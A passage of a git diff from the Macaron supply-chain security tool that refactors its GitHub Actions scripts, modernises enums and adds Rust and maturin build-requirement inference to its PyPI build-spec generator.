"$GITHUB_OUTPUT" @@ -39,12 +44,10 @@ if [ -n "$FILE" ] && [ -f "$FILE" ]; then echo "vsa_report=VSA Not Generated." >> "$GITHUB_OUTPUT" fi fi -elif [ -n "$PURL" ]; then - CMD="$CMD --existing-policy ${FILE} --package-url ${PURL}" +elif [ -n "$FILE" ] && [ -n "$PURL" ]; then + CMD+=(--existing-policy "$FILE" --package-url "$PURL") - echo "Executing: $CMD" - echo "$CMD" - if eval "$CMD"; then + if run_macaron "${CMD[@]}"; then echo "policy_report=${OUTPUT_DIR}/policy_report.json" >> "$GITHUB_OUTPUT" if [ -f "${OUTPUT_DIR}/vsa.intoto.jsonl" ]; then echo "vsa_report=${OUTPUT_DIR}/vsa.intoto.jsonl" >> "$GITHUB_OUTPUT" @@ -53,5 +56,5 @@ elif [ -n "$PURL" ]; then fi fi else - echo "No file or pre-defined policy found for ${FILE} and policy_purl ${PURL}" + echo "No valid policy inputs found" fi diff --git a/scripts/actions/write_job_summary.py b/scripts/actions/write_job_summary.py index 608786fd9..db86ad1fe 100644 --- a/scripts/actions/write_job_summary.py +++ b/scripts/actions/write_job_summary.py @@ -90,7 +90,7 @@ def _write_header( vsa_path = _env("VSA_PATH", f"{output_dir}/vsa.intoto.jsonl") policy_succeeded = bool(vsa_path) and Path(vsa_path).is_file() - _append_line(summary_path, "

Macaron Analysis Results

") + _append_line(summary_path, '

Macaron Analysis Results

') _append_line(summary_path) if upload_reports: _append_line(summary_path, "Download reports from this artifact link:") @@ -157,7 +157,7 @@ def _query_selected_columns( if not selected: return [], [] - sql = f"SELECT {', '.join(selected)} FROM {table_name}" + sql = f"SELECT {', '.join(selected)} FROM {table_name}" # noqa: S608 if where_clause: sql = f"{sql} WHERE {where_clause}" sql = f"{sql} ORDER BY 1" @@ -373,13 +373,13 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r _append_line(summary_path) _append_line( summary_path, - "

Full Findings and Remediation Details

", + '

Full Findings and Remediation Details

', ) _append_line(summary_path) _append_line(summary_path, "
") _append_line(summary_path, "Show full findings") _append_line(summary_path) - detail_groups = groups_in_rows if groups_in_rows else ["all_findings"] + detail_groups = groups_in_rows or ["all_findings"] row_counter = 1 for group in detail_groups: if group_idx is None: @@ -397,10 +397,7 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r priority = row[col_index["finding_priority"]] finding_type = str(row[col_index["finding_type"]]) workflow = str(row[col_index["vulnerable_workflow"]]) - if group == "workflow_security_issue": - subject = workflow - else: - subject = f"{action}@{version}" if version else action + subject = workflow if group == "workflow_security_issue" else f"{action}@{version}" if version else action _append_line(summary_path, f"{row_counter}. **`{subject}`** (`{finding_type}`, priority `{priority}`)") _append_line(summary_path, f"- Workflow: `{workflow}`") @@ -498,7 +495,7 @@ def _write_existing_policy_failure_diagnostics( cols, rows = _query_sql(conn, sql_query) if cols and rows: _append_line(summary_path) - _append_line(summary_path, f"#### Results") + _append_line(summary_path, "#### Results") if policy_name == "check-github-actions": rendered = write_compact_gha_vuln_diagnostics(summary_path, cols, rows) else: @@ -510,7 +507,7 @@ def _write_existing_policy_failure_diagnostics( _append_line(summary_path, "- Additional check-level details are unavailable for this failure.") -def main() -> None: +def _main() -> None: output_dir = Path(_env("OUTPUT_DIR", "output")) db_path = Path(_env("DB_PATH", os.path.join(str(output_dir), "macaron.db"))) policy_report = _env("POLICY_REPORT", os.path.join(str(output_dir), "policy_report.json")) @@ -547,4 +544,4 @@ def main() -> None: if __name__ == "__main__": - main() + _main() diff --git a/src/macaron/build_spec_generator/build_spec_generator.py b/src/macaron/build_spec_generator/build_spec_generator.py index e66be4ac2..e2b431f5b 100644 --- a/src/macaron/build_spec_generator/build_spec_generator.py +++ b/src/macaron/build_spec_generator/build_spec_generator.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the functions used for generating build specs from the Macaron database.""" @@ -6,7 +6,7 @@ import json import logging import os -from enum import Enum +from enum import StrEnum from packageurl import PackageURL from sqlalchemy import create_engine @@ -23,7 +23,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class BuildSpecFormat(str, Enum): +class BuildSpecFormat(StrEnum): """The build spec formats that we support.""" REPRODUCIBLE_CENTRAL = "rc-buildspec" diff --git a/src/macaron/build_spec_generator/cli_command_parser/__init__.py b/src/macaron/build_spec_generator/cli_command_parser/__init__.py index 7ce7d8127..03fc36507 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/__init__.py +++ b/src/macaron/build_spec_generator/cli_command_parser/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contain the base classes cli command parsers related.""" @@ -7,7 +7,7 @@ from abc import abstractmethod from collections.abc import Mapping from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from typing import Any, Generic, Protocol, TypeGuard, TypeVar @@ -93,7 +93,7 @@ def get_patch_type_str(self) -> str: raise NotImplementedError() -class PatchCommandBuildTool(str, Enum): +class PatchCommandBuildTool(StrEnum): """Build tool supported for CLICommand patching.""" MAVEN = "maven" diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py index 342811909..78844e77f 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py +++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the classes that represent components of a Gradle CLI Command.""" @@ -382,4 +382,4 @@ class GradleCLICommand: def to_cmds(self) -> list[str]: """Return the CLI Command as a list of strings.""" - return [self.executable] + self.options.to_option_cmds() + return [self.executable, *self.options.to_option_cmds()] diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py index e2b646c91..025e258c5 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py +++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Gradle CLI Command parser.""" @@ -58,7 +58,7 @@ def add_to_arg_parser(self, arg_parse: argparse.ArgumentParser) -> None: if self.short_names: arg_parse.add_argument( - *(self.short_names + [self.long_name]), + *([*self.short_names, self.long_name]), **kwargs, ) else: @@ -445,7 +445,7 @@ def get_patch_type_str(self) -> str: class GradleCLICommandParser: """A Gradle CLI Command Parser.""" - ACCEPTABLE_EXECUTABLE = {"gradle", "gradlew"} + ACCEPTABLE_EXECUTABLE = frozenset(("gradle", "gradlew")) def __init__(self) -> None: """Initialize the instance.""" diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py index c6eaed108..261d09793 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py +++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the classes that represent components of a Maven CLI Command.""" @@ -318,4 +318,4 @@ class MavenCLICommand: def to_cmds(self) -> list[str]: """Return the CLI Command as a list of strings.""" - return [self.executable] + self.options.to_option_cmds() + return [self.executable, *self.options.to_option_cmds()] diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py index 62cb66d4f..cb7f91cfd 100644 --- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py +++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Maven CLI Command parser.""" @@ -347,7 +347,7 @@ def get_patch_type_str(self) -> str: class MavenCLICommandParser: """A Maven CLI Command Parser.""" - ACCEPTABLE_EXECUTABLE = {"mvn", "mvnw"} + ACCEPTABLE_EXECUTABLE = frozenset(("mvn", "mvnw")) def __init__(self) -> None: """Initialize the instance.""" diff --git a/src/macaron/build_spec_generator/common_spec/base_spec.py b/src/macaron/build_spec_generator/common_spec/base_spec.py index 4d99025c5..b2bb23778 100644 --- a/src/macaron/build_spec_generator/common_spec/base_spec.py +++ b/src/macaron/build_spec_generator/common_spec/base_spec.py @@ -9,6 +9,24 @@ from packageurl import PackageURL +class SpecBuildRequirementDict(TypedDict, total=False): + """ + Initialize build requirement section of the build specification. + + It contains information about tools/packages that must be available before + running a build command. + """ + + #: Build requirement name, e.g., "maturin", "rust", "rustup", "pkg-config". + name: Required[str] + + #: Build requirement version or version constraint, e.g., "1.75.0", ">=1.4,<2". + version: NotRequired[str] + + #: Build requirement installer, e.g., "pip", "rustup", "system", or "bootstrap". + installer: Required[str] + + class SpecBuildCommandDict(TypedDict, total=False): """ Initialize build command section of the build specification. @@ -100,7 +118,7 @@ class BaseBuildSpecDict(TypedDict, total=False): entry_point: NotRequired[str | None] #: The build_requires is the required packages that need to be available in the build environment. - build_requires: NotRequired[dict[str, str]] + build_requires: NotRequired[list[SpecBuildRequirementDict]] #: A "back end" is tool that a "front end" (such as pip/build) would call to #: package the source distribution into the wheel format. build_backends would diff --git a/src/macaron/build_spec_generator/common_spec/core.py b/src/macaron/build_spec_generator/common_spec/core.py index b5650c008..00d75ff95 100644 --- a/src/macaron/build_spec_generator/common_spec/core.py +++ b/src/macaron/build_spec_generator/common_spec/core.py @@ -7,7 +7,7 @@ import pprint import shlex from collections.abc import Sequence -from enum import Enum +from enum import Enum, StrEnum from importlib import metadata as importlib_metadata import sqlalchemy.orm @@ -47,7 +47,7 @@ class LANGUAGES(Enum): PYPI = "python" -class MacaronBuildToolName(str, Enum): +class MacaronBuildToolName(StrEnum): """Represent the name of a build tool that Macaron stores in the database. This doesn't cover all build tools that Macaron supports, and ONLY includes the ones that we diff --git a/src/macaron/build_spec_generator/common_spec/jdk_finder.py b/src/macaron/build_spec_generator/common_spec/jdk_finder.py index 45d5b71dd..a988aa8a6 100644 --- a/src/macaron/build_spec_generator/common_spec/jdk_finder.py +++ b/src/macaron/build_spec_generator/common_spec/jdk_finder.py @@ -8,7 +8,7 @@ import tempfile import urllib.parse import zipfile -from enum import Enum +from enum import Enum, StrEnum import requests @@ -19,7 +19,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class JavaArtifactExt(str, Enum): +class JavaArtifactExt(StrEnum): """The extensions for Java artifacts.""" JAR = ".jar" @@ -57,8 +57,7 @@ def download_file(url: str, dest: str) -> None: with open(dest, "wb") as fd: try: - for chunk in response.iter_content(chunk_size=128, decode_unicode=False): - fd.write(chunk) + fd.writelines(response.iter_content(chunk_size=128, decode_unicode=False)) except requests.RequestException as error: response.close() raise InvalidHTTPResponseError(f"Error while streaming java artifact file from {url}") from error @@ -87,10 +86,14 @@ def join_remote_maven_repo_url( Examples -------- >>> remote_maven_repo = "https://repo1.maven.org/maven2" - >>> artifact_path = "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar" + >>> artifact_path = ( + ... "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar" + ... ) >>> join_remote_maven_repo_url(remote_maven_repo, artifact_path) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar' - >>> join_remote_maven_repo_url(remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/") + >>> join_remote_maven_repo_url( + ... remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/" + ... ) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/' >>> join_remote_maven_repo_url(f"{remote_maven_repo}/", artifact_path) 'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar' diff --git a/src/macaron/build_spec_generator/common_spec/maven_spec.py b/src/macaron/build_spec_generator/common_spec/maven_spec.py index 395de61e8..7f20ce741 100644 --- a/src/macaron/build_spec_generator/common_spec/maven_spec.py +++ b/src/macaron/build_spec_generator/common_spec/maven_spec.py @@ -42,10 +42,10 @@ def set_default_build_commands( """ match build_cmd_spec["build_tool"]: case "maven": - build_cmd_spec["command"] = "mvn clean package".split() + build_cmd_spec["command"] = ["mvn", "clean", "package"] case "gradle": - build_cmd_spec["command"] = "./gradlew clean assemble publishToMavenLocal".split() + build_cmd_spec["command"] = ["./gradlew", "clean", "assemble", "publishToMavenLocal"] case _: logger.debug( "There is no default build command available for the build tools %s.", diff --git a/src/macaron/build_spec_generator/common_spec/pypi_spec.py b/src/macaron/build_spec_generator/common_spec/pypi_spec.py index 6b46a237e..725d2795b 100644 --- a/src/macaron/build_spec_generator/common_spec/pypi_spec.py +++ b/src/macaron/build_spec_generator/common_spec/pypi_spec.py @@ -14,9 +14,14 @@ from packaging.specifiers import InvalidSpecifier from packaging.utils import InvalidWheelFilename, parse_wheel_filename -from macaron.build_spec_generator.common_spec.base_spec import BaseBuildSpec, BaseBuildSpecDict, SpecBuildCommandDict +from macaron.build_spec_generator.common_spec.base_spec import ( + BaseBuildSpec, + BaseBuildSpecDict, + SpecBuildCommandDict, + SpecBuildRequirementDict, +) from macaron.config.defaults import defaults -from macaron.errors import SourceCodeError, WheelTagError +from macaron.errors import SourceCodeError from macaron.json_tools import json_extract from macaron.slsa_analyzer.package_registry import pypi_registry from macaron.slsa_analyzer.specs.package_registry_spec import PackageRegistryInfo @@ -53,18 +58,19 @@ def set_default_build_commands( """ match build_cmd_spec["build_tool"]: case "pip": - build_cmd_spec["command"] = "python -m build --wheel -n".split() + build_cmd_spec["command"] = ["python", "-m", "build", "--wheel", "-n"] case "poetry": - build_cmd_spec["command"] = "poetry build".split() + build_cmd_spec["command"] = ["poetry", "build"] case "uv": - build_cmd_spec["command"] = "uv build".split() - + build_cmd_spec["command"] = ["uv", "build"] case "flit": # We might also want to deal with existence flit.ini, we can do so via # "python -m flit.tomlify" - build_cmd_spec["command"] = "flit build".split() + build_cmd_spec["command"] = ["flit", "build"] case "hatch": - build_cmd_spec["command"] = "hatch build".split() + build_cmd_spec["command"] = ["hatch", "build"] + case "maturin": + build_cmd_spec["command"] = ["maturin", "build", "--release"] case _: logger.debug( "There is no default build command available for the build tools %s.", @@ -95,18 +101,16 @@ def resolve_fields(self, purl: PackageURL) -> None: upstream_artifacts: dict[str, list[str]] = {} pypi_package_json = pypi_registry.find_or_create_pypi_asset(purl.name, purl.version, registry_info) build_backends_set: set[str] = set() - parsed_build_requires: dict[str, str] = {} - sdist_build_requires: dict[str, str] = {} + parsed_build_requires: dict[str, SpecBuildRequirementDict] = {} + sdist_build_requires: dict[str, SpecBuildRequirementDict] = {} python_version_set: set[str] = set() wheel_name_python_version_set: set[str] = set() - wheel_name_platforms: set[str] = set() dependency_python_version_set: set[str] = set() # Precautionary fallback to default version chronologically_likeliest_version: str = defaults.get("heuristic.pypi", "default_setuptools") if pypi_package_json is not None: if pypi_package_json.package_json or pypi_package_json.download(dest=""): - # Get the Python constraints from the PyPI JSON response. json_releases = pypi_package_json.get_releases() if json_releases: @@ -134,15 +138,23 @@ def resolve_fields(self, purl: PackageURL) -> None: wheel_contents, metadata_contents = self.read_directory(pypi_package_json.wheel_path, purl) generator, version = self.read_generator_line(wheel_contents) if generator != "" and version != "": - parsed_build_requires[generator] = "==" + version.replace(" ", "") + self.add_to_build_requires( + parsed_build_requires, generator, "pip", "==" + version.replace(" ", "") + ) # Apply METADATA heuristics to determine setuptools version. elif "License-File" in metadata_contents: - parsed_build_requires["setuptools"] = "==" + defaults.get( - "heuristic.pypi", "setuptools_version_emitting_license" + self.add_to_build_requires( + parsed_build_requires, + "setuptools", + "pip", + "==" + defaults.get("heuristic.pypi", "setuptools_version_emitting_license"), ) elif "Platform: UNKNOWN" in metadata_contents: - parsed_build_requires["setuptools"] = "==" + defaults.get( - "heuristic.pypi", "setuptools_version_emitting_platform_unknown" + self.add_to_build_requires( + parsed_build_requires, + "setuptools", + "pip", + "==" + defaults.get("heuristic.pypi", "setuptools_version_emitting_platform_unknown"), ) chronologically_likeliest_version = ( pypi_package_json.get_chronologically_suitable_setuptools_version() @@ -153,7 +165,6 @@ def resolve_fields(self, purl: PackageURL) -> None: _, _, _, tags = parse_wheel_filename(pypi_package_json.wheel_filename) for tag in tags: wheel_name_python_version_set.add(tag.interpreter) - wheel_name_platforms.add(tag.platform) if wheel_name_python_version_set: logger.debug( "From wheel name inferred Python constraints: %s", wheel_name_python_version_set @@ -161,18 +172,32 @@ def resolve_fields(self, purl: PackageURL) -> None: python_version_set.update(wheel_name_python_version_set) except InvalidWheelFilename: logger.debug("Could not parse wheel file name to extract version") - except WheelTagError: - logger.debug("Can not analyze non-pure wheels") except SourceCodeError: logger.debug("Could not download wheel matching this PURL") - - logger.debug("From .dist_info:") - logger.debug(parsed_build_requires) + logger.debug("From .dist_info build-requires: %s", parsed_build_requires) try: with pypi_package_json.sourcecode(): upstream_artifacts["sdist"] = [pypi_package_json.sdist_url] logger.debug("sdist url at %s", upstream_artifacts["sdist"]) + + has_maturin = False + cargo_toml_exists = pypi_package_json.file_exists("Cargo.toml") + cargo_toml_content: dict[str, Any] = {} + cargo_lock_content: dict[str, Any] = {} + + try: + cargo_text_bytes = pypi_package_json.get_sourcecode_file_contents("Cargo.toml") + cargo_toml_content = tomli.loads(cargo_text_bytes.decode("utf-8")) + except (SourceCodeError, UnicodeDecodeError, tomli.TOMLDecodeError): + logger.debug("No Cargo.toml found") + + try: + cargo_lock_bytes = pypi_package_json.get_sourcecode_file_contents("Cargo.lock") + cargo_lock_content = tomli.loads(cargo_lock_bytes.decode("utf-8")) + except (SourceCodeError, UnicodeDecodeError, tomli.TOMLDecodeError): + logger.debug("No Cargo.lock found") + try: # Get the build time requirements from ["build-system", "requires"] pyproject_content = pypi_package_json.get_sourcecode_file_contents("pyproject.toml") @@ -180,11 +205,15 @@ def resolve_fields(self, purl: PackageURL) -> None: requires = json_extract(content, ["build-system", "requires"], list) if requires: for requirement in requires: - self.add_parsed_requirement(sdist_build_requires, requirement) + if parsed_requirement := self.add_parsed_python_requirement( + sdist_build_requires, requirement + ): + if parsed_requirement.name.lower() == "maturin": + has_maturin = True # If we cannot find `requires` in `[build-system]`, we lean on the fact that setuptools # was the de-facto build tool, and infer a setuptools version to include. else: - self.add_parsed_requirement( + self.add_parsed_python_requirement( sdist_build_requires, f"setuptools=={chronologically_likeliest_version}" ) backend = json_extract(content, ["build-system", "build-backend"], str) @@ -202,7 +231,7 @@ def resolve_fields(self, purl: PackageURL) -> None: # Here we have successfully analyzed the pyproject.toml file. Now, if we have a setup.py/cfg, # we also need to infer a setuptools version to infer. if pypi_package_json.file_exists("setup.py") or pypi_package_json.file_exists("setup.cfg"): - self.add_parsed_requirement( + self.add_parsed_python_requirement( sdist_build_requires, f"setuptools=={chronologically_likeliest_version}" ) except TypeError as error: @@ -215,9 +244,63 @@ def resolve_fields(self, purl: PackageURL) -> None: logger.debug("No pyproject.toml found: %s", error) # Here we do not have a pyproject.toml file. Instead, we lean on the fact that setuptools # was the de-facto build tool, and infer a setuptools version to include. - self.add_parsed_requirement( + self.add_parsed_python_requirement( sdist_build_requires, f"setuptools=={chronologically_likeliest_version}" ) + + if self.is_rust_backed_package(build_backends_set, has_maturin, cargo_toml_exists): + self.add_to_build_requires(sdist_build_requires, "rustup", "bootstrap") + + rust_requirement = self.infer_rust_requirement( + pypi_package_json, + cargo_toml_content, + ) + + self.add_to_build_requires( + sdist_build_requires, + rust_requirement["name"], + rust_requirement["installer"], + rust_requirement.get("version"), + ) + # Look through Cargo.lock first for resolved versions. + cargo_packages = json_extract(cargo_lock_content, ["package"], list) + if cargo_packages: + for package in cargo_packages: + cargo_dependency_name = json_extract(package, ["name"], str) + cargo_dependency_version = json_extract(package, ["version"], str) + if not cargo_dependency_name: + continue + cargo_dependency_version_constraint = ( + f"=={cargo_dependency_version}" if cargo_dependency_version else None + ) + self.add_to_build_requires( + sdist_build_requires, + cargo_dependency_name, + "cargo", + cargo_dependency_version_constraint, + ) + else: + # As a fallback, look through Cargo.toml dependency tables. + for table_name in ["build-dependencies", "dependencies"]: + cargo_dependencies = json_extract(cargo_toml_content, [table_name], dict) + if not cargo_dependencies: + continue + for cargo_dependency_name, cargo_dependency_spec in cargo_dependencies.items(): + cargo_dependency_version_constraint = None + if isinstance(cargo_dependency_spec, str): + cargo_dependency_version_constraint = cargo_dependency_spec + elif isinstance(cargo_dependency_spec, dict): + cargo_dependency_version_constraint = json_extract( + cargo_dependency_spec, ["version"], str + ) + + self.add_to_build_requires( + sdist_build_requires, + cargo_dependency_name, + "cargo", + cargo_dependency_version_constraint, + ) + except SourceCodeError as error: logger.debug("No source distribution found: %s", error) @@ -226,20 +309,33 @@ def resolve_fields(self, purl: PackageURL) -> None: # Merge in pyproject.toml information only when the wheel dist_info does not contain the same. # Hatch is an interesting example of this merge being required. - for requirement_name, specifier in sdist_build_requires.items(): - if requirement_name not in parsed_build_requires: - parsed_build_requires[requirement_name] = specifier - - # If we were not able to find any build and backends, use the default setuptools. + for requirement in sdist_build_requires.values(): + self.add_to_build_requires( + parsed_build_requires, + requirement["name"], + requirement["installer"], + requirement.get("version"), + ) + + # If we were not able to find any build and backends, use the default setuptools. if not parsed_build_requires: - parsed_build_requires["setuptools"] = "==" + defaults.get("heuristic.pypi", "default_setuptools") + self.add_to_build_requires( + parsed_build_requires, + "setuptools", + "pip", + "==" + defaults.get("heuristic.pypi", "default_setuptools"), + ) if not build_backends_set: build_backends_set.add("setuptools.build_meta") - logger.debug("Combined build-requires: %s", parsed_build_requires) + build_requires = sorted(parsed_build_requires.values(), key=lambda requirement: requirement["name"]) + + logger.debug("Combined build-requires: %s", build_requires) - for package, constraint in parsed_build_requires.items(): - package_requirement = package + constraint + for requirement in build_requires: + if requirement["installer"] != "pip": + continue + package_requirement = requirement["name"] + requirement.get("version", "") python_version_constraints = registry.get_python_requires_for_package_requirement(package_requirement) if python_version_constraints: dependency_python_version_set.add(python_version_constraints) @@ -252,43 +348,215 @@ def resolve_fields(self, purl: PackageURL) -> None: else: self.data["language_version"] = sorted(python_version_set) - self.data["build_requires"] = parsed_build_requires - self.data["build_backends"] = list(build_backends_set) - # We do not generate a build command for non-pure packages - if not self.data["has_binaries"]: - for build_cmd_spec in self.data["build_commands"]: - self.set_default_build_commands(build_cmd_spec) - else: - self.data["build_commands"] = [] + self.data["build_requires"] = build_requires + self.data["build_backends"] = sorted(build_backends_set) + for build_cmd_spec in self.data["build_commands"]: + self.set_default_build_commands(build_cmd_spec) self.data["upstream_artifacts"] = upstream_artifacts - def add_parsed_requirement(self, build_requirements: dict[str, str], requirement: str) -> None: + def add_to_build_requires( + self, + build_requirements: dict[str, SpecBuildRequirementDict], + name: str, + installer: str, + version: str | None = None, + ) -> None: + """ + Add requirement to build_requirements with version handling. + + Parameters + ---------- + build_requirements: dict[str, SpecBuildRequirementDict] + Dictionary of build requirements to populate. + name: str + Name of dependency. + installer: str + Installer used for the dependency. + version: str | None + Version specifier for the build requirement, if it exists + """ + if build_requirements.get(name): + # If we do not have version, but current invocation has inferred version, use that version. + if ("version" not in build_requirements[name]) and version: + build_requirements[name]["version"] = version + return + + requirement: SpecBuildRequirementDict = { + "name": name, + "installer": installer, + } + if version: + requirement["version"] = version + build_requirements[name] = requirement + + def add_parsed_python_requirement( + self, + build_requirements: dict[str, SpecBuildRequirementDict], + requirement: str, + ) -> Requirement | None: """ Parse a requirement string and add it to build_requirements, doing appropriate error handling. Parameters ---------- - build_requirements: dict[str,str] + build_requirements: dict[str, SpecBuildRequirementDict] Dictionary of build requirements to populate. requirement: str Requirement string to parse. """ try: parsed_requirement = Requirement(requirement) - if parsed_requirement.name not in build_requirements: - build_requirements[parsed_requirement.name] = str(parsed_requirement.specifier) + self.add_to_build_requires( + build_requirements, + parsed_requirement.name, + "pip", + str(parsed_requirement.specifier), + ) + return parsed_requirement except (InvalidRequirement, InvalidSpecifier) as error: logger.debug("Malformed requirement encountered %s : %s", requirement, error) + return None + + def is_rust_backed_package( + self, + build_backends_set: set[str], + has_maturin: bool, + cargo_toml_exists: bool, + ) -> bool: + """ + Determine if the artifact packages Rust binaries. + + Parameters + ---------- + build_backends_set: set[str] + Inferred set of build backends + has_maturin: bool + Whether maturin is a build requirement of the package + cargo_toml_exists: bool + Whether Cargo.toml exists in the sdist. + + Returns + ------- + bool + True if Rust signal was detected. + """ + return "maturin" in build_backends_set or has_maturin or cargo_toml_exists + + def infer_rust_requirement( + self, + pypi_package_json: pypi_registry.PyPIPackageJsonAsset, + cargo_toml_content: dict[str, Any], + ) -> SpecBuildRequirementDict: + """ + Infer Rust requirement object. + + Parameters + ---------- + pypi_package_json: pypi_registry.PyPIPackageJsonAsset + The PyPI package JSON asset object. + cargo_toml_content: dict[str, Any] + Parsed Cargo.toml data. + + Returns + ------- + SpecBuildRequirementDict + Rust requirement dictionary. + """ + version = self.read_rust_toolchain_version(pypi_package_json) + if version: + return { + "name": "rust", + "version": version, + "installer": "rustup", + } + + cargo_rust_version = json_extract(cargo_toml_content, ["package", "rust-version"], str) + if not cargo_rust_version: + cargo_rust_version = json_extract(cargo_toml_content, ["workspace", "package", "rust-version"], str) + if cargo_rust_version: + return { + "name": "rust", + "version": f">={cargo_rust_version.strip()}", + "installer": "rustup", + } + + return { + "name": "rust", + "installer": "rustup", + } + + def read_rust_toolchain_version(self, pypi_package_json: pypi_registry.PyPIPackageJsonAsset) -> str | None: + """ + Infer Rust toolchain version. + + Parameters + ---------- + pypi_package_json: pypi_registry.PyPIPackageJsonAsset + The PyPI package JSON asset object. + + Returns + ------- + str | None + The inferred Rust toolchain version, or None if unavailable. + """ + for file in ["rust-toolchain.toml", "rust-toolchain"]: + if not pypi_package_json.file_exists(file): + continue + try: + content = pypi_package_json.get_sourcecode_file_contents(file).decode("utf-8") + except (SourceCodeError, UnicodeDecodeError): + continue + + version = self.extract_rust_toolchain_version(content) + if version: + return version + return None + + def extract_rust_toolchain_version(self, content: str) -> str | None: + """ + Extract the Rust toolchain version from rust-toolchain content. + + Parameters + ---------- + content: str + Contents of a rust-toolchain.toml or rust-toolchain file. + + Returns + ------- + str | None + The inferred Rust toolchain version, or None if unavailable. + """ + stripped = content.strip() + if not stripped: + return None + + try: + parsed = tomli.loads(content) + toolchain_version = json_extract(parsed, ["toolchain", "channel"], str) + if toolchain_version: + return toolchain_version.strip() + except tomli.TOMLDecodeError: + logger.debug("Failed to parse toml content.") + + for line in stripped.splitlines(): + sanitized = line.strip().strip('"').strip("'") + if not sanitized or sanitized.startswith("#"): + continue + return sanitized + return None def apply_tool_specific_inferences( - self, build_requirements: dict[str, str], python_version_set: set[str], pyproject_contents: dict[str, Any] + self, + build_requirements: dict[str, SpecBuildRequirementDict], + python_version_set: set[str], + pyproject_contents: dict[str, Any], ) -> None: """ Based on build tools inferred, look into the pyproject.toml for related additional dependencies. Parameters ---------- - build_requirements: dict[str,str] + build_requirements: dict[str, SpecBuildRequirementDict] Dictionary of build requirements to populate. python_version_set: set[str] Set of compatible interpreter versions to populate. @@ -305,7 +573,7 @@ def apply_tool_specific_inferences( dependencies = section.get("dependencies") if dependencies: for requirement in dependencies: - self.add_parsed_requirement(build_requirements, requirement) + self.add_parsed_python_requirement(build_requirements, requirement) # If we have flit as a build_tool, we will check if the legacy header [tool.flit.metadata] exists, # and if so, check to see if we can use its "requires-python". if "flit" in self.data["build_tools"]: diff --git a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py index 7a3cf9539..2b6efb64b 100644 --- a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py +++ b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py @@ -9,6 +9,7 @@ from bs4 import BeautifulSoup, FeatureNotFound from packaging.specifiers import InvalidSpecifier, SpecifierSet +from packaging.utils import InvalidWheelFilename, parse_wheel_filename from packaging.version import InvalidVersion, Version from macaron.build_spec_generator.common_spec.base_spec import BaseBuildSpecDict @@ -36,20 +37,16 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: GenerateBuildSpecError Raised if dockerfile cannot be generated. """ - if buildspec["has_binaries"]: + maturin_build = is_maturin_build(buildspec) + if buildspec["has_binaries"] and not maturin_build: raise GenerateBuildSpecError("We currently do not support generating a dockerfile for non-pure Python packages") - 